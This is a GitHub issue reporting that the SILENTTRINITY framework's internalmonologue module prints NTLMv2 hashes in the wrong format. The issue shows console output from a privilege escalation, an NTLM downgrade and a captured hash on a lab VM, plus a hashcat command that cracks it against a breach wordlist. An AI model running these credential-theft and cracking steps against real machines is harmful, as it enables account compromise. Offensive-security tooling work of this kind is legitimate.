[BUG] Hash formatting issues with boo/internalmonologue
#98 opened on Sep 11, 2019
Repository metrics
- Stars
- (2,340 stars)
- PR merge metrics
- (No merged PRs in 30d)
Description
Issue Template
Context
boo/internalmonologue doesn't show whether hash is NTLMv1 or NTLMv2, and gives wrong format for NTLMv2 hashes.
Upstream repo doesn't accept issues, so per conversation with @byt3bl33d3r I'm filing this here instead.
jeff@blue:~/dev/SILENTTRINITY$ git branch
* master
jeff@blue:~/dev/SILENTTRINITY$ git rev-parse HEAD
c3b397d85dbb471c4f202151d30100e4222215eb
- SILENTTRINITY Version: Latest
masterbranch - OS running the Client: Ubuntu 18.04 x64
- Python Version Running the Client: Python 3.7.4+
- OS running the TeamServer: Ubuntu 18.04 x64 (same system as client)
- Python version running the Teamserver: Python 3.7.4 (same system as client)
Expected Behavior
If internalmonologue attack fails to retrieve an NTLMv1 hash and has to show the NTLMv2 one instead, it should be in the right format.
Current Behavior
Console output below. Victim is Windows 10 Enterprise 1809 as a VM, with Credential Guard enabled (using the Microsoft Device Guard readiness tool:
[1] ST (modules)(boo/internalmonologue) ≫ use boo/getsystem
[1] ST (modules)(boo/getsystem) ≫ run 3b42c305-a62d-4b6f-af79-de04691640f6
[*] [TS-gipaL] 3b42c305-a62d-4b6f-af79-de04691640f6 returned job result (id: qDkTV0bDZ4)
Getting system...
Impersonating NT AUTHORITY\SYSTEM...
Processes for NT AUTHORITY\SYSTEM: 37
Attempting to impersonate: NT AUTHORITY\SYSTEM
Successfully impersonated: NT AUTHORITY\SYSTEM
[1] ST (modules)(boo/getsystem) ≫ use boo/internalmonologue
[1] ST (modules)(boo/internalmonologue) ≫ run 3b42c305-a62d-4b6f-af79-de04691640f6
[*] [TS-gipaL] 3b42c305-a62d-4b6f-af79-de04691640f6 returned job result (id: mGySQy9xKR)
Running elevated
Performing NTLM Downgrade
Starting impersonation
S-1-5-21-2347759232-2198512603-1203408765-1000 RuntimeBroker
Impersonated user DESKTOP-2LDSJOS\sysadmin
sysadmin::DESKTOP-2LDSJOS:ec9363e3376248774cfccdfdb943ca96:01010000000000009a947f08f968d5019ef9ce3189e3fb3c00000000080030003000000000000000010000000020000058bb58d0a2bb73feee5a25dd573383f3472c272d8aa58d421695b376ded1cd930a00100000000000000000000000000000000000090030004400450053004b0054004f0050002d0032004c00440053004a004f0053005c00730079007300610064006d0069006e000000000000000000:1122334455667788
Restoring NTLM values
Trying to crack that hash with hashcat:
jeff@blue:~/dev/SILENTTRINITY$ sudo hashcat -m 5500 /tmp/ntlmv1.txt /opt/Passwords/breachcompilationuniq.txt -O -w4 --force 2>/dev/null| grep Token
Hashfile '/tmp/ntlmv1.txt' on line 1 (sysadm...64006d0069006e000000000000000000): Token length exception
Per hashcat documentation, the challenge in the NTLMv2 hash is in the wrong place from the internalmonologue attack. The fix is to put it after the computer name, as follows:
jeff@blue:~/dev/SILENTTRINITY$ cat /tmp/hash
sysadmin::DESKTOP-2LDSJOS:1122334455667788:ec9363e3376248774cfccdfdb943ca96:01010000000000009a947f08f968d5019ef9ce3189e3fb3c00000000080030003000000000000000010000000020000058bb58d0a2bb73feee5a25dd573383f3472c272d8aa58d421695b376ded1cd930a00100000000000000000000000000000000000090030004400450053004b0054004f0050002d0032004c00440053004a004f0053005c00730079007300610064006d0069006e000000000000000000
Failure Information
Shown above.
Steps to Reproduce
- Enable Credential Guard on a Windows 10 machine, physical or virtual.
- Gain an administrative (or SYSTEM) session and run the
boo/internalmonologuemodule. - Behavior is as above.
Failure Logs
I can provide more information if needed, but I think the above is enough to replicate this from scratch.